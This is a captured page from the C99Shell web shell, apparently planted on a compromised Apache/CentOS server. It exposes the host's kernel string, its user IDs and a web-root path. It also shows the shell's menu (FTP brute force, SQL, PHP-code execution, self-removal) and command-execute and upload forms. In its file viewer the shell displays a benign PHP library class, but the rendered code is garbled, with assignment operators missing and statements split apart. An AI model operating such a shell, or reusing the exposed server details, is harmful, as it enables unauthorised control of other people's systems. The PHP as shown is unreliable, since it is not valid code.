!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/admin/boletos/vendor/mikehaertl/phpwkhtmltopdf/src/   drwxr-xr-x
Free 9.29 GB of 93.48 GB (9.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Image.php (6.99 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace mikehaertl\wkhtmlto;

use 
mikehaertl\tmp\File;

/**
 * Pdf
 *
 * This class is a slim wrapper around `wkhtmltoimage`.
 *
 * @author Michael Härtl <haertl.mike@gmail.com>
 * @license http://www.opensource.org/licenses/MIT
 */
class Image
{
    
// Regular expression to detect HTML strings
    
const REGEX_HTML '/<html/i';

    
// prefix for tmp files
    
const TMP_PREFIX 'tmp_wkhtmlto_pdf_';

    
/**
     * @var string the name of the `wkhtmltoimage` binary. Default is
     * `wkhtmltoimage`. You can also configure a full path here.
     */
    
public $binary 'wkhtmltoimage';

    
/**
     * @var string the image type. Default is 'png'. Other options are 'jpg'
     * and 'bmp'.
     */
    
public $type 'png';

    
/**
     * @var array options to pass to the Command constructor. Default is none.
     */
    
public $commandOptions = array();

    
/**
     * @var string|null the directory to use for temporary files. If `null`
     * (default) the dir is autodetected.
     */
    
public $tmpDir;

    
/**
     * @var bool whether to ignore any errors if some PDF file was still
     * created. Default is `false`.
     */
    
public $ignoreWarnings false;

    
/**
     * @var bool whether the PDF was created
     */
    
protected $_isCreated false;

    
/**
     * @var \mikehaertl\tmp\File|string the page input or a `File` instance for
     * HTML string inputs
     */
    
protected $_page;

    
/**
     * @var array options for `wkhtmltoimage` as `['--opt1', '--opt2' => 'val',
     * ...]`
     */
    
protected $_options = array();

    
/**
     * @var \mikehaertl\tmp\File the temporary image file
     */
    
protected $_tmpImageFile;

    
/**
     * @var Command the command instance that executes wkhtmltopdf
     */
    
protected $_command;

    
/**
     * @var string the detailed error message. Empty string if none.
     */
    
protected $_error '';

    
/**
     * @param array|string $options global options for wkhtmltoimage, a page
     * URL, a HTML string or a filename
     */
    
public function __construct($options null)
    {
        if (
is_array($options)) {
            
$this->setOptions($options);
        } elseif (
is_string($options)) {
            
$this->setPage($options);
        }
    }

    
/**
     * Add a page object to the output
     *
     * @param string $page either a URL, a HTML string or a filename
     * @return static the Image instance for method chaining
     */
    
public function setPage($page)
    {
        
$this->_page preg_match(self::REGEX_HTML$page) ? new File($page'.html') : $page;
        return 
$this;
    }

    
/**
     * Save the image to given filename (triggers image creation)
     *
     * @param string $filename to save image as
     * @return bool whether image was created successfully
     */
    
public function saveAs($filename)
    {
        if (!
$this->_isCreated && !$this->createImage()) {
            return 
false;
        }
        if (!
$this->_tmpImageFile->saveAs($filename)) {
            
$tmpFile $this->_tmpImageFile->getFileName();
            
$this->_error "Could not copy image from tmp location '$tmpFile' to '$filename'";
            return 
false;
        }
        return 
true;
    }

    
/**
     * Send image to client, either inline or as download (triggers image
     * creation)
     *
     * @param string|null $filename the filename to send. If empty, the PDF is
     * streamed inline. Note, that the file extension must match what you
     * configured as $type (png, jpg, ...).
     * @param bool $inline whether to force inline display of the image, even
     * if filename is present.
     * @return bool whether image was created successfully
     */
    
public function send($filename null,$inline false)
    {
        if (!
$this->_isCreated && !$this->createImage()) {
            return 
false;
        }
        
$this->_tmpImageFile->send($filename$this->getMimeType(), $inline);
        return 
true;
    }

    
/**
     * Get the raw Image contents (triggers Image creation).
     * @return string|bool The Image content as a string or `false` if the
     * Image wasn't created successfully.
     */
    
public function toString()
    {
        if (!
$this->_isCreated && !$this->createImage()) {
            return 
false;
        }
        return 
file_get_contents($this->_tmpImageFile->getFileName());
    }

    
/**
     * Set options
     *
     * @param array $options list of image options to set as name/value pairs
     * @return static the Image instance for method chaining
     */
    
public function setOptions($options = array())
    {
        foreach (
$options as $key => $val) {
            if (
is_int($key)) {
                
$this->_options[] = $val;
            } elseif (
$key[0]!=='_' && property_exists($this$key)) {
                
$this->$key $val;
            } else {
                
$this->_options[$key] = $val;
            }
        }
        return 
$this;
    }

    
/**
     * @return Command the command instance that executes wkhtmltopdf
     */
    
public function getCommand()
    {
        if (
$this->_command === null) {
            
$options $this->commandOptions;
            if (!isset(
$options['command'])) {
                
$options['command'] = $this->binary;
            }
            
$this->_command = new Command($options);
        }
        return 
$this->_command;
    }

    
/**
     * @return string the detailed error message. Empty string if none.
     */
    
public function getError()
    {
        return 
$this->_error;
    }

    
/**
     * @return string the filename of the temporary image file
     */
    
public function getImageFilename()
    {
        if (
$this->_tmpImageFile === null) {
            
$this->_tmpImageFile = new File('''.'.$this->typeself::TMP_PREFIX);
        }
        return 
$this->_tmpImageFile->getFileName();
    }

    
/**
     * @return string the mime type for the current image
     * @throws \Exception
     */
    
public function getMimeType()
    {
        if (
$this->type === 'jpg') {
            return 
'image/jpeg';
        } elseif (
$this->type === 'png') {
            return 
'image/png';
        } elseif (
$this->type === 'bmp') {
            return 
'image/bmp';
        } else {
            throw new \
Exception('Invalid image type');
        }
    }

    
/**
     * Run the Command to create the tmp image file
     *
     * @return bool whether creation was successful
     */
    
protected function createImage()
    {
        if (
$this->_isCreated) {
            return 
false;
        }
        
$command $this->getCommand();
        
$fileName $this->getImageFilename();

        
$command->addArgs($this->_options);
        
// Always escape input and output filename
        
$command->addArg((string) $this->_pagenulltrue);
        
$command->addArg($fileNamenulltrue);
        if (!
$command->execute()) {
            
$this->_error $command->getError();
            if (!(
file_exists($fileName) && filesize($fileName)!==&& $this->ignoreWarnings)) {
                return 
false;
            }
        }
        
$this->_isCreated true;
        return 
true;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0043 ]--